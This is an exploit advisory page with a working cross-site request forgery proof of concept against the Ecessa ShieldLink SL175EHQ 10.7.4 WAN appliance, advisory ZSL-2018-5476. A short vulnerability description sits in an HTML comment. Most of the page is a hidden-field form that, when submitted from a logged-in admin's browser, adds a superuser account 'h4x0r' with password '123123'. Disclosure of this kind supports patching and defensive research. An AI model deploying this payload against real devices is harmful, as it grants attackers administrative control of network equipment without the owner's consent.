Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit

Credit: LiquidWorm
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

<!-- Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit Vendor: Ecessa Corporation Product web page: Affected version: 10.7.4 10.6.9 10.7.4 10.5.4 10.2.24 9.2.24 Summary: Ecessa's ShieldLink 60, 175, 600,1200 & 4000 are advanced, yet highly affordable secure WAN Optimization Controllers that incorporate all of the ISP/WAN link. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: lighttpd/1.4.35 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5476 Advisory URL: 21.05.2018 --> <html> <body> <form action="" method="POST"> <input type="hidden" name="savecrtcfg" value="checked" /> <input type="hidden" name="user_username1" value="root" /> <input type="hidden" name="user_enabled1" value="on" /> <input type="hidden" name="user_passwd1" value="" /> <input type="hidden" name="user_passwd_verify1" value="" /> <input type="hidden" name="user_delete1" value="" /> <input type="hidden" name="user_username2" value="admin" /> <input type="hidden" name="user_passwd2" value="" /> <input type="hidden" name="user_passwd_verify2" value="" /> <input type="hidden" name="user_delete2" value="" /> <input type="hidden" name="user_username3" value="user" /> <input type="hidden" name="user_enabled3" value="on" /> <input type="hidden" name="user_passwd3" value="" /> <input type="hidden" name="user_passwd_verify3" value="" /> <input type="hidden" name="user_delete3" value="" /> <input type="hidden" name="user_username4" value="h4x0r" /> <input type="hidden" name="user_enabled4" value="on" /> <input type="hidden" name="user_superuser4" value="on" /> <input type="hidden" name="user_passwd4" value="123123" /> <input type="hidden" name="user_passwd_verify4" value="123123" /> <input type="hidden" name="users_num" value="4" /> <input type="hidden" name="page" value="util_configlogin" /> <input type="hidden" name="val_requested_page" value="user_accounts" /> <input type="hidden" name="savecrtcfg" value="checked" /> <input type="hidden" name="page_uuid" value="df220e51-db68-492e-a745-d14adfd2f4fb" /> <input type="hidden" name="form_has_changed" value="1" /> <input type="submit" value="Supersize!" /> </form> </body> </html>

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